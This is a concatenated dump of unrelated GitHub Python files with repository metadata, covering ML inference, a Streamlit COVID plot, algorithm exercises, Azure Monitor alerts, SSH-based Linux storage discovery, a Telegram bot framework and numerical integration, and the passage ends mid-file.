class_encoder.update({class_list[class_list.index(i)]: class_list.index(i)})\n\nclass_decoder = {v: k for k, v in class_encoder.items()}\n\n\ntest_transforms_ = A.Compose([\n A.Normalize()\n])\n\ntest_files = [filePath]\n\ntest_dataset = TestDataset(file_lists=test_files, transforms=test_transforms_)\ntest_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n\nanswer_logits = []\n\nmodel = timm.create_model(model_name, pretrained=True, num_classes=len(class_list)).to(device)\nmodel.load_state_dict(torch.load(testPath + 'model.pth', map_location=\"cpu\"))\nmodel.eval()\n\nwith torch.no_grad():\n for iter_idx, test_imgs in enumerate(test_loader, 1):\n test_imgs = test_imgs.to(device)\n test_pred = model(test_imgs)\n\n print(class_decoder[np.argmax(test_pred.cpu(), axis=-1).item()])\n","repo_name":"smarTrash22/smarTrash","sub_path":"src/main/webapp/resources/python/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22485138555","text":"\nimport datetime as dt\nfrom os import write\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport plotly\nimport plotly.express as px\nimport plotly.figure_factory as ff\nimport seaborn as sns\nimport streamlit as st\nfrom pandas._config.config import options\nfrom pandas.core.frame import DataFrame\nfrom PIL import Image\n\n\ndef covidDeathsByCountry(data: DataFrame):\n\n data_options = st.multiselect('Select fields: ', data.columns)\n\n try:\n df = data[data_options[0]]\n country_options = st.multiselect('Select country', df)\n\n country = data.loc[data[data_options[0]] == country_options[0]]\n\n size = country.columns.__len__()\n\n # Generate Graph\n x = country.columns[4:size-1]\n x = pd.to_datetime(x, format='%m/%d/%y')\n\n deaths = country.loc[:, country.columns[4]:country.columns[size-1]]\n data_index = deaths.index[0]\n\n d = {\n 'columns': country.columns[4:size-1],\n 'data': [deaths.loc[data_index]],\n 'index': [1]\n }\n\n # plot graph\n try:\n st.set_option('deprecation.showPyplotGlobalUse', False)\n df = pd.DataFrame(\n d['data'], columns=d['columns'], index=d['index'])\n df.columns.names = ['Covid deaths']\n row = df.iloc[0]\n row.plot(kind=\"line\")\n plt.show()\n st.pyplot()\n\n except:\n st.warning('The graph could not be generated')\n\n except:\n st.warning(\"Please select a field\")\n\n\n# Predicción de mortalidad por COVID en un Departamento.\ndef covidDeathsPredictionByDep(data: DataFrame):\n\n\n data_options = st.multiselect('Select fields: ', data.columns)\n\n try:\n\n pass\n\n except:\n st.warning('Please select a field')\n\n \n","repo_name":"solaresjuan98/COVID_TRACKER","sub_path":"app/coviddeaths.py","file_name":"coviddeaths.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3604744164","text":"def is_outside(row, col, lab):\n if row < 0 or col < 0 or row >= len(lab) or col >= len(lab[0]):\n return True\n return False\n\n\ndef cannot_move(lab, row, col):\n if lab[row][col] == '*':\n return True\n\n\ndef marked_path(lab, row, col):\n if lab[row][col] == 'v':\n return True\n\n\ndef find_all_paths(row, col, lab, direction, path):\n\n if is_outside(row, col, lab):\n return\n\n if cannot_move(lab, row, col):\n return\n\n if marked_path(lab, row, col):\n return\n\n path.append(direction)\n\n if lab[row][col] == 'e':\n print(''.join(path))\n\n else:\n lab[row][col] = 'v'\n find_all_paths(row, col + 1, lab, 'R', path)\n find_all_paths(row, col - 1, lab, 'L', path)\n find_all_paths(row + 1, col, lab, 'D', path)\n find_all_paths(row - 1, col, lab, 'U', path)\n lab[row][col] = '-'\n\n path.pop()\n\n\nn = int(input())\nm = int(input())\nmatrix = [[x for x in input()] for _ in range(n)]\n\n\nfind_all_paths(0, 0, matrix, '', [])\n","repo_name":"Velin-Todorov/SoftUni","sub_path":"Algorithms with Python/Recursion/Recursion Lab/Find all Paths in a Labyrinth.py","file_name":"Find all Paths in a Labyrinth.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"31811492298","text":"import numpy as np\nimport random, statistics, math\nimport matplotlib.pyplot as plt\n\ngrid = np.zeros((8,8), np.int)\ngrid[:1,] = grid[-1:,] = grid[:,:1] = grid[:,-1:] = grid[4][-2] = grid[3][-2] = -1\ngrid[2][-2] = grid[3][-3] = grid[4][-3] = grid[5][-2] = grid[1:2,1:-1] = grid[-2:-1,1:-1] = grid[:,1:2] = 1\n\nsteps = 28\nwhere = (1,1)\nfacing = 1\n# 0 north, 1 east, 2 south, 3 west\n\ndef randomString():\n\tstring = ''\n\tfor x in range(1,(steps*2)+1):\n\t\tstring += str(random.randint(0,1))\n\tfit = fitness(string)\n\t# print(fit)\n\t# if fit < 8:\n\t\t# return randomString()\n\t# else:\n\treturn string\n\n\ndef initializePopulation(n):\n\tpop = []\n\tfor x in range(1,n+1):\n\t\tpop.append(randomString())\n\treturn pop\n\n# 11 forward, 01 right, 10, left, 00 nothing from path\n\ndef extract(str):\n\treturn (str[0:2],str[2:])\n\ndef allMoves(string):\n\t# print(string)\n\tmoves = []\n\twhile len(string) != 0:\n\t\tcurrentMove,remainingstr = extract(string)\n\t\tstring = remainingstr\n\t\tmoves.append(currentMove)\n\treturn moves\n\ndef calcGrid(string):\n\tmoves = allMoves(string)\n\tfitness = 1\n\tcurr = where\n\tcurrentfacing = facing\n\ttempgrid = grid.copy()\n\ttempgrid[curr] = 0\n\tfor x in moves:\n\t\tif x == '11':\n\t\t\tif currentfacing == 0 and (curr[0]-1 > -1) and tempgrid[curr[0]-1][curr[1]] != -1 :\n\t\t\t\tcurr = (curr[0]-1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 1 and (curr[1]+1 < 8) and tempgrid[curr[0]][curr[1]+1] != -1:\n\t\t\t\tcurr = (curr[0],curr[1]+1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 2 and (curr[0]+1 < 8) and tempgrid[curr[0]+1][curr[1]] != -1:\n\t\t\t\tcurr = (curr[0]+1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 3 and (curr[1]-1 > -1) and tempgrid[curr[0]][curr[1]-1] != -1 :\n\t\t\t\tcurr = (curr[0],curr[1]-1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\telif x == '01':\n\t\t\tcurrentfacing = (currentfacing+1)%4\n\t\telif x == '10':\n\t\t\tcurrentfacing = (currentfacing-1)%4 #turn left\n\treturn tempgrid\n\n\ndef fitness(string):\n\tmoves = allMoves(string)\n\tfitness = 1\n\tcurr = where\n\tcurrentfacing = facing\n\ttempgrid = grid.copy()\n\ttempgrid[curr] = 0\n\tfor x in moves:\n\t\tif x == '11':\n\t\t\tif currentfacing == 0 and (curr[0]-1 > -1) and tempgrid[curr[0]-1][curr[1]] != -1 :\n\t\t\t\tcurr = (curr[0]-1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 1 and (curr[1]+1 < 8) and tempgrid[curr[0]][curr[1]+1] != -1:\n\t\t\t\tcurr = (curr[0],curr[1]+1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 2 and (curr[0]+1 < 8) and tempgrid[curr[0]+1][curr[1]] != -1:\n\t\t\t\tcurr = (curr[0]+1,curr[1])\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\t\telif currentfacing == 3 and (curr[1]-1 > -1) and tempgrid[curr[0]][curr[1]-1] != -1 :\n\t\t\t\tcurr = (curr[0],curr[1]-1)\n\t\t\t\tfitness += tempgrid[curr]\n\t\t\t\ttempgrid[curr] = 0\n\t\telif x == '01':\n\t\t\tcurrentfacing = (currentfacing+1)%4 #turn right\n\t\telif x == '10':\n\t\t\tcurrentfacing = (currentfacing-1)%4 #turn left\n\treturn fitness\n\n\ndef giveExpectedCount(outputs, popSize):\n\tarr = outputs.copy()\n\ttempArr = np.zeros(popSize, np.int)\n\twhile np.sum(tempArr) < popSize:\n\t\tmaxIndex = np.argmax(arr)\n\t\tmaxVal = arr[maxIndex]\n\t\tif(np.sum(tempArr) + math.ceil(maxVal + 0.5) > popSize):\n\t\t\tmaxIndex = np.argmax(arr)\n\t\t\tnewVal = popSize - np.sum(tempArr)\n\t\t\ttempArr[maxIndex] = newVal\n\t\t\tbreak\n\t\telse:\n\t\t\ttempArr[maxIndex] = math.ceil(maxVal + 0.5)\n\t\t\tarr[maxIndex] = 0\n\treturn tempArr\n\n\n\n\ndef expectedOutputs(fitnesses):\n\tpopSize = len(fitnesses)\n\ttotal = sum(fitnesses)\n\ttot = 0\n\tprobabilities = np.array([x/total for x in fitnesses])\n\texpectedOutputs = np.array([popSize*y for y in probabilities])\n\texpected = giveExpectedCount(expectedOutputs, popSize)\n\treturn expected\n\n\n\ndef evaluatePopulation(population):\n\tfitnesses = []\n\tfor x in population:\n\t\tfitnesses.append(fitness(x))\n\treturn fitnesses\n\n\ndef selectParents(population, expected):\n\tpop = population.copy()\n\tnewPop = []\n\tfor i in range(len(expected)):\n\t\tfor j in range(0, expected[i]):\n\t\t\tnewPop.append(pop[i])\n\n\treturn newPop\n\ndef mutate(string, popSize):\n\tret = '' \n\tlength = len(string)\n\tfor x in range(len(string)):\n\t\tprob = random.random()\n\t\tleft = right = 0\n\t\tif (1/popSize) < (1/length):\n\t\t\tleft = 1/popSize\n\t\t\tright = 1/length\n\t\telse:\n\t\t\tright = 1/popSize\n\t\t\tleft = 1/length\n\t\tif(prob > left and prob < right):\n\t\t\tif string[x] == '1':\n\t\t\t\tret += '0'\n\t\t\telse:\n\t\t\t\tret += '1'\n\t\telse:\n\t\t\tret += string[x]\n\n\treturn ret\n\n\n\t\n\ndef crossover(population):\n\tpop = population.copy()\n\tsize = len(population)\n\tnewPop = []\n\tfor i in range(0,size,2):\n\t\tfirst = pop[i]\n\t\tsecond = pop[i+1]\n\t\tcrossAt = random.randint(0,2*steps)\n\t\tfirstleft = first[:crossAt]\n\t\tfirstright = first[crossAt:]\n\t\tsecondleft = second[:crossAt]\n\t\tsecondright = second[crossAt:]\n\t\tpc = random.random()\n\t\tif (pc > 0.6 and pc < 0.9): #crossover\n\t\t\tnewOne = firstleft + secondright\n\t\t\tnewTwo = secondleft + firstright\n\t\telse:\n\t\t\tnewOne = first\n\t\t\tnewTwo = second\n\n\t\t\n\t\t# mutOrNot1 = random.random()\n\t\t# mutOrNot2 = random.random()\n\t\t# if mutOrNot1 < 1/size:\n\t\tnewOne = mutate(newOne, size)\n\t\t# if mutOrNot2 > 1/size:\n\t\tnewTwo = mutate(newTwo, size)\n\t\t\n\t\tnewPop.append(newOne)\n\t\tnewPop.append(newTwo)\n\treturn newPop\n\ndef selectNextGen(originalParents,offspring, fitnesses, offspringFitnesses):\n\tsize = len(originalParents)\n\tnextGen = []\n\tnextGenFitnesses = []\n\twhile (len(nextGen) != size):\n\t\tpMax = max(fitnesses)\n\t\toMax = max(offspringFitnesses)\n\t\tif pMax > oMax:\n\t\t\tind = np.argmax(fitnesses)\n\t\t\tnextGen.append(originalParents[ind])\n\t\t\tfitnesses[ind] = 0\n\t\t\tnextGenFitnesses.append(pMax)\n\t\telse:\n\t\t\tind = np.argmax(offspringFitnesses)\n\t\t\tnextGen.append(offspring[ind])\n\t\t\toffspringFitnesses[ind] = 0\n\t\t\tnextGenFitnesses.append(oMax)\n\n\treturn nextGen, nextGenFitnesses\n\ndef main():\n\tprint(\"Initial Grid\\n\",grid)\n\tsize = 20\n\t\n\n\tpopulation = initializePopulation(size)\n\tfitnesses = evaluatePopulation(population)\n\n\tgeneration = 1\n\tgens = []\n\tfits = []\n\tgens.append(generation)\n\tfits.append(max(fitnesses))\n\n\tprint(\"Generation\",generation,\"Max Fitness\", max(fitnesses))\n\twhile (max(fitnesses) != 20 and generation != 100000):\n\t\texpectedOutput = expectedOutputs(fitnesses)\n\n\t\tparents = selectParents(population, expectedOutput)\n\t\toriginalParents = parents.copy()\n\t\trandom.shuffle(parents)\n\t\toffspring = crossover(parents)\n\n\t\toffspringFitnesses = evaluatePopulation(offspring)\n\t\tpopulation, fitnesses = selectNextGen(originalParents,offspring, fitnesses, offspringFitnesses)\n\n\t\tgeneration += 1\n\t\tgens.append(generation)\n\t\tfits.append(max(fitnesses))\n\t\tprint(\"Generation\",generation,\"Max Fitness\", max(fitnesses))\n\t# generation += 1\n\t# print(\"Generation\",generation,\"Max Fitness\", max(fitnesses))\n\t# maxWhere = np.argmax(fitnesses)\n\t# maxString = population[maxWhere]\n\t# print(calcGrid(maxString))\n\txmax = max(gens)\n\tymax = max(fits)\n\tfig = plt.figure()\n\tplt.xlabel('Generations')\n\tplt.ylabel('Maximum Fitnesses')\n\tplt.title('Population Size '+str(size))\n\tplt.plot(gens,fits)\n\tplt.plot(xmax,ymax, 'bo')\n\tplt.annotate('Maximum at '+str(ymax), xy=(xmax, ymax), xytext=(xmax-20000, ymax-5),\n arrowprops=dict(facecolor='black', shrink=0.05),\n )\n\n\tfig.savefig('graph'+str(size)+'.png')\n\nmain()","repo_name":"abdullahshamail/CS-331-Artificial-Intelligence","sub_path":"Assignment 1/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":7193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39582948094","text":"import os\nimport sys\nfrom datetime import timedelta\nfrom azure.mgmt.monitor.v2022_08_01_preview.models import Condition, ScheduledQueryRuleCriteria, ScheduledQueryRuleResource, Actions\nfrom workflow_utils.workflow_utils import setup_logger, log_event, load_config\nfrom workflow_utils.pyclientauth import initialize_client\n\n\ndef parse_time(time_str):\n \"\"\"Parse time strings ending with 'h' or 'd' into value and unit.\"\"\"\n unit = 'hours' if time_str[-1] == 'h' else 'days'\n value = int(time_str[:-1])\n return value, unit\n\n\ndef create_alert(monitor_client, resource_client, resource_group, subscription_id, workspace_name, alert_data):\n \"\"\"Create alert.\"\"\"\n # Define condition\n condition = Condition(\n time_aggregation=alert_data['condition']['time_aggregation'],\n operator=alert_data['condition']['operator'],\n threshold=alert_data['condition']['threshold'],\n query=alert_data['condition']['query'],\n metric_measure_column=alert_data['condition']['metric_measure_column']\n )\n\n # Define rule criteria\n rule_criteria = ScheduledQueryRuleCriteria(all_of=[condition])\n\n # Parse evaluation_frequency and window_size to handle 'h' and 'd'\n evaluation_frequency_value, evaluation_frequency_unit = parse_time(alert_data['evaluation_frequency'])\n window_size_value, window_size_unit = parse_time(alert_data['window_size'])\n\n # Get the location of the workspace\n workspace = resource_client.resources.get_by_id(\n f\"/subscriptions/{subscription_id}/resourceGroups/{resource_group}/providers/Microsoft.OperationalInsights/workspaces/{workspace_name}\",\n '2022-10-01')\n workspace_location = workspace.location\n action_group_ids = [\n f\"/subscriptions/{subscription_id}/resourcegroups/{resource_group}/providers/microsoft.insights/actiongroups/ag_log_app\"\n ]\n\n\n actions = Actions(action_groups=action_group_ids, custom_properties={\"key1:\" \"value1\", \"key2:\" \"value2\"})\n\n # Define alert resource\n alert = ScheduledQueryRuleResource(\n location=\"eastus\",\n description=alert_data['description'],\n display_name=alert_data['alert_name'],\n severity=alert_data['severity'],\n enabled=True,\n scopes=[\n f\"/subscriptions/{subscription_id}/resourceGroups/{resource_group}/providers/Microsoft.OperationalInsights/workspaces/{workspace_name}\"],\n evaluation_frequency=timedelta(**{evaluation_frequency_unit: evaluation_frequency_value}),\n window_size=timedelta(**{window_size_unit: window_size_value}),\n actions=actions,\n criteria=rule_criteria\n )\n\n # Create or update the alert\n monitor_client.scheduled_query_rules.create_or_update(resource_group_name=resource_group,\n rule_name=alert_data['alert_name'],\n parameters=alert)\n\n\ndef main(file_path):\n \"\"\"Main function.\"\"\"\n # Create a monitor management client.\n resource_group = os.environ.get(\"LAW_RG\")\n subscription_id = os.environ.get(\"SUBSCRIPTION_ID\")\n workspace_name = os.environ.get(\"LAW_NAME\")\n\n monitor_client = initialize_client(\"monitor\")\n resource_client = initialize_client(\"resource\")\n\n data = load_config(file_path)\n for alert in data['alerts']:\n create_alert(monitor_client, resource_client, resource_group, subscription_id, workspace_name, alert)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage: python script_name.py \")\n sys.exit(1)\n\n json_file_path = sys.argv[1]\n main(json_file_path)\n","repo_name":"GrannyProgramming/AzureMLOpsInProduction","sub_path":"mlops/monitoring/azure_monitor/create_alerts.py","file_name":"create_alerts.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"13688115072","text":"#!/usr/bin/python3\n\n\"\"\"Function that adds all the unique elemnts of a list\"\"\"\n\n\ndef uniq_add(my_list=[]):\n\n new_list = list(sorted(set(my_list)))\n sum = 0\n for i in new_list:\n sum = sum + i\n return sum\n","repo_name":"paulllllo/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/2-uniq_add.py","file_name":"2-uniq_add.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3729275089","text":"from linkedlistpractice import LinkedList\n\ndef middleOfList(self):\n\ttortoise = self.head\n\thare = self.head\n\twhile hare and hare.next:\n\t\ttortoise = tortoise.next\n\t\thare = hare.next.next\n\treturn tortoise\n \n \n\ncustomLL = LinkedList()\ncustomLL.generate(10, 0, 99)\nprint(customLL)\nprint(middleOfList(customLL))\n\n","repo_name":"kayvera/python_practice","sub_path":"LinkedList/deletemiddlenode.py","file_name":"deletemiddlenode.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7448590010","text":"# Function checks the popularity of certain words in the text.\n\n\ntext = \"When I was One \" \\\n \"I had just begun \" \\\n \"When I was Two \" \\\n \"I was nearly new \"\n\nwords = ['i', 'was', 'three', 'near']\n\n\ndef popular_words(text, words):\n pos = 0\n new_list = text.lower().split()\n this_dict = {}\n for n in words:\n counted_word = new_list.count(words[pos])\n this_dict[words[pos]] = counted_word\n pos += 1\n return this_dict\n\n","repo_name":"marbor92/checkio_python","sub_path":"popular_words.py","file_name":"popular_words.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16795721306","text":"# -*- coding: utf-8 -*-\n\nimport json\nfrom colored import fg, attr\n\nfrom models import ConfigurationItem, ConfigurationItemType, Relationship, RelationshipType, methods\n\nblue = fg('#46B1C9')\nred = fg('#B54653')\ngreen = fg('#86DEB7')\nreset = attr('reset')\n\n\ndef storage_discovery(client, ci):\n \"\"\"\n Gathers information about the storage of the Linux machine.\n\n Parameters\n ----------\n client: SSHClient\n The SSH client that permits the comunication with the machine that is being explored.\n\n ci: ConfigurationItem\n The configuration item that represents the Linux machine that is going to be explored.\n \"\"\"\n _, stdout, stderr = client.exec_command(\"/sbin/blkid\")\n error = stderr.read().decode('utf-8')\n if error != \"\":\n print(red + \">>> \" + reset + str(error) + \"\\n\")\n else:\n memory = stdout.readlines()\n if len(memory) > 0:\n blocks = {}\n for b in range(0, len(memory)):\n name = memory[b].split(\":\")[0]\n info = memory[b].split(\":\")[1].split()\n blocks[name] = info\n\n for b in blocks:\n attrs = {}\n\n for pair in info:\n attrs[pair.split(\"=\")[0]] = pair.split(\"=\")[1].strip(\"\\\"\")\n##################################################################\n _, stdout, stderr = client.exec_command(\"df \" + str(b))\n error = stderr.read().decode('utf-8')\n if error != \"\":\n print(red + \">>> \" + reset + str(error) + \"\\n\")\n else:\n memory = stdout.readlines()\n if len(memory) > 1:\n names = ['Filesystem', '1K-blocks', 'Used',\n 'Available', 'Use%', 'Mounted on']\n memory = memory[1].split()\n for i in range(len(names)):\n attrs[names[i]] = memory[i]\n##################################################################\n _, stdout, stderr = client.exec_command(\"lsblk \" + str(b))\n error = stderr.read().decode('utf-8')\n if error != \"\":\n print(red + \">>> \" + reset + str(error) + \"\\n\")\n else:\n memory = stdout.readlines()\n if len(memory) > 1:\n names = ['NAME', 'MAJ:MIN', 'RM',\n 'SIZE', 'RO', 'TYPE', 'MOUNTPOINT']\n memory = memory[1].split()\n for i in range(len(names)):\n if i < len(memory):\n attrs[names[i]] = memory[i]\n\n obj = ConfigurationItem.ConfigurationItem()\n obj.set_title(name)\n\n mem_type = None\n for at in attrs:\n if at == \"RO\":\n if attrs.get(at) == '0':\n mem_type = methods.add_ci_type(\n ConfigurationItemType.ConfigurationItemType(\"SSD\"))\n elif attrs.get(at) == '1':\n mem_type = methods.add_ci_type(\n ConfigurationItemType.ConfigurationItemType(\"HDD\"))\n\n methods.define_attribute(at, attrs.get(at), obj)\n\n if mem_type != None:\n obj.set_type(mem_type.get_id())\n rel_type_ci_obj = methods.add_rel_type(\n RelationshipType.RelationshipType(\"has storage\"))\n rel_ci_obj = methods.create_relation(\n ci, obj, rel_type_ci_obj)\n rel_ci_obj.title = str(ci.get_title()) + \\\n \" has storage \" + str(obj.get_title())\n\n rel_type_obj_ci = methods.add_rel_type(\n RelationshipType.RelationshipType(\"is storage of\"))\n rel_obj_ci = methods.create_relation(\n obj, ci, rel_type_obj_ci)\n rel_obj_ci.title = str(obj.get_title()) + \\\n \" is storage of \" + str(ci.get_title())\n\n methods.add_rel(rel_ci_obj)\n methods.add_rel(rel_obj_ci)\n methods.add_ci(obj)\n","repo_name":"joanapereira115/cmdb-auto-creation","sub_path":"src/discovery_mechanisms/linux_discovery/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"72334059394","text":"import tensorflow.keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense,BatchNormalization\nfrom tensorflow.keras import regularizers\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras import Input, Model\n\nclass SimpleNN(object):\n def __init__(self,n_hidden=10):\n self.n_hidden=n_hidden\n self.optim=optimizers.RMSprop(learning_rate=0.00001)\n\n def __call__(self,params):\n model = Sequential()\n model.add(Dense(self.n_hidden, input_dim=params['dims'], activation='relu',name=\"hidden\",\n kernel_regularizer=regularizers.l1(0.001)))\n model.add(BatchNormalization())\n model.add(Dense(params['n_cats'], activation='softmax'))\n model.compile(loss='categorical_crossentropy',optimizer=self.optim, metrics=['accuracy'])\n model.summary()\n return model\n\ndef get_extractor(model_i):\n return Model(inputs=model_i.input,\n outputs=model_i.get_layer('hidden').output) ","repo_name":"tjacek/positional_voting","sub_path":"ECSCF/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13348897944","text":"from builtins import range\nimport sys\nsys.path.insert(1,\"../../../\")\nimport h2o\nfrom tests import pyunit_utils\nfrom h2o.estimators.glm import H2OGeneralizedLinearEstimator\nfrom h2o.grid.grid_search import H2OGridSearch\n\ntry: # redirect python output\n from StringIO import StringIO # for python 3\nexcept ImportError:\n from io import StringIO # for python 2\n\n# This test is used to make sure when a user tries to set alpha in the hyper-parameter of gridsearch, a warning\n# should appear to tell the user to set the alpha array as an parameter in the algorithm.\ndef grid_alpha_search():\n warnNumber = 1\n hdf = h2o.upload_file(pyunit_utils.locate(\"smalldata/prostate/prostate_complete.csv.zip\"))\n\n print(\"Testing for family: TWEEDIE\")\n print(\"Set variables for h2o.\")\n y = \"CAPSULE\"\n x = [\"AGE\",\"RACE\",\"DCAPS\",\"PSA\",\"VOL\",\"DPROS\",\"GLEASON\"]\n\n hyper_parameters = {'alpha': [0, 0.5]} # set hyper_parameters for grid search\n\n print(\"Create models with lambda_search\")\n buffer = StringIO() # redirect output\n sys.stderr=buffer\n model_h2o_grid_search = H2OGridSearch(H2OGeneralizedLinearEstimator(family=\"tweedie\", Lambda=0.5),\n hyper_parameters)\n model_h2o_grid_search.train(x=x, y=y, training_frame=hdf)\n sys.stderr=sys.__stderr__ # redirect printout back to normal path\n\n # check and make sure we get the correct warning message\n warn_phrase = \"Adding alpha array to hyperparameter runs slower with gridsearch.\"\n try: # for python 2.7\n assert len(buffer.buflist)==warnNumber\n print(buffer.buflist[0])\n assert warn_phrase in buffer.buflist[0]\n except: # for python 3.\n warns = buffer.getvalue()\n print(\"*** captured warning message: {0}\".format(warns))\n assert warn_phrase in warns\n \nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(grid_alpha_search)\nelse:\n grid_alpha_search()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_8150_warning_alpha_grid.py","file_name":"pyunit_PUBDEV_8150_warning_alpha_grid.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"38008531376","text":"import re\nfrom threading import Thread\nfrom time import sleep, time\nfrom traceback import print_exc\nfrom typing import Callable, List, Any\n\nimport requests\n\nfrom . import exceptions\nfrom .apis import GetUpdates\nfrom .model import API\nfrom .models import Update, Message, CallbackQuery, InlineQuery\n\n\nclass Process:\n\n def __init__(self, name: str, data: dict = None) -> None:\n self.name = name\n self.data = data or {}\n self.stage: str = 'default'\n\n\nclass TelegramBot:\n API_BASE_URL = 'https://api.telegram.org'\n\n def __init__(self, api_key: str) -> None:\n self.api_key = api_key\n self.update_listeners: dict[str, list[Callable[..., bool]]] = {}\n self.session = requests.Session()\n self.looper: Thread | None = None\n self.processes: dict[int, Process] = {}\n\n def start(self):\n if not self.looper:\n self.looper: Thread = Thread(target=self._update_loop)\n if not self.looper.is_alive():\n self.looper.start()\n\n def execute(self, api: API):\n request = api.get_request()\n request.url = f'{self.API_BASE_URL}/bot{self.api_key}/{request.url.strip(\"/\")}'\n response = self.session.send(request.prepare(), timeout=32, allow_redirects=False).json()\n if response['ok']:\n api.set_result(response['result'])\n return api.result\n else:\n raise Exception(response.get('description'))\n\n def _update_loop(self):\n offset = None\n while True:\n try:\n t = time()\n updates: List[Update] = self.execute(GetUpdates(offset=offset, timeout=30))\n print(1, time() - t)\n for update in updates:\n t = time()\n self._new_update(update)\n print(2, time() - t)\n offset = update.update_id + 1\n except:\n print_exc()\n sleep(60)\n\n def _new_update(self, update: Update):\n for update_type, callbacks in self.update_listeners.items():\n if update_type == update.type:\n for callback in callbacks:\n if callback(update):\n break\n\n def new_update(self, update: dict):\n return self._new_update(Update.from_dict(update))\n\n def add_listener(self, update_type: str, callback: Callable[[Update], bool]):\n listeners = self.update_listeners.get(update_type)\n if listeners is None:\n listeners = []\n self.update_listeners[update_type] = listeners\n listeners.append(callback)\n\n def create_process(self, chat_id: int, name: str, data: dict = None):\n if self.processes.get(chat_id):\n raise exceptions.ChatHasOpenProcess(chat_id)\n process = Process(name, data)\n self.processes[chat_id] = process\n return process\n\n def close_current_process(self, chat_id: int):\n process = self.processes.pop(chat_id, None)\n return process\n\n def on_process(self, process_name: str) \\\n -> Callable[[Callable[[Message, Process], Any]], Callable[[Message, Process], bool]]:\n def wrapper(handler: Callable[[Message, Process], bool]):\n def listener(update: Update):\n process = self.processes.get(update.message.chat.id)\n if process and process.name == process_name:\n return handler(update.message, process)\n\n self.add_listener('message', listener)\n return handler\n return wrapper\n\n def on_message(self, pattern: re.Pattern = None, ignore_process: bool = False) \\\n -> Callable[[Callable[[Message], Any]], Callable[[Message], bool]]:\n if pattern is None:\n pattern = re.compile('^[^/]')\n\n def wrapper(handler: Callable[[Message], bool]):\n def listener(update: Update):\n text = update.message.text or update.message.caption\n if text and pattern.match(text):\n if ignore_process or not self.processes.get(update.message.chat.id):\n return handler(update.message)\n\n self.add_listener('message', listener)\n return handler\n\n return wrapper\n\n def on_command(self, command_name: str, ignore_process: bool = False) \\\n -> Callable[[Callable[[Message], Any]], Callable[[Message], bool]]:\n return self.on_message(\n pattern=re.compile(f'^/{command_name}( |$)'),\n ignore_process=ignore_process\n )\n\n def on_callback_query(self) \\\n -> Callable[[Callable[[CallbackQuery], Any]], Callable[[CallbackQuery], bool]]:\n def wrapper(handler: Callable[[CallbackQuery], bool]):\n def listener(update: Update):\n return handler(update.callback_query)\n\n self.add_listener('callback_query', listener)\n return handler\n\n return wrapper\n\n def on_inline_query(self) \\\n -> Callable[[Callable[[InlineQuery], Any]], Callable[[InlineQuery], bool]]:\n def wrapper(handler: Callable[[InlineQuery], bool]):\n def listener(update: Update):\n return handler(update.inline_query)\n\n self.add_listener('inline_query', listener)\n return handler\n\n return wrapper\n","repo_name":"fazlali/telegram_pot","sub_path":"src/telegram_pot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36682364064","text":"from scipy.integrate import quad\nfrom numpy import linspace,sin,cos\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef f(u):\n\treturn u*sin(u)\n\ndef exact(x):\n return sin(x) - x*cos(x)\n\ndef trap(f,x,N):\n ls = linspace(0,x,N)\n coeff = np.full(N,1)\n coeff[0] = .5\n coeff[-1] = .5\n \n return (x/N) * np.sum(coeff*f(ls))\n\ndef simps(f,x,N):\n return trap(f,x,N+(N&1))\n\ndef 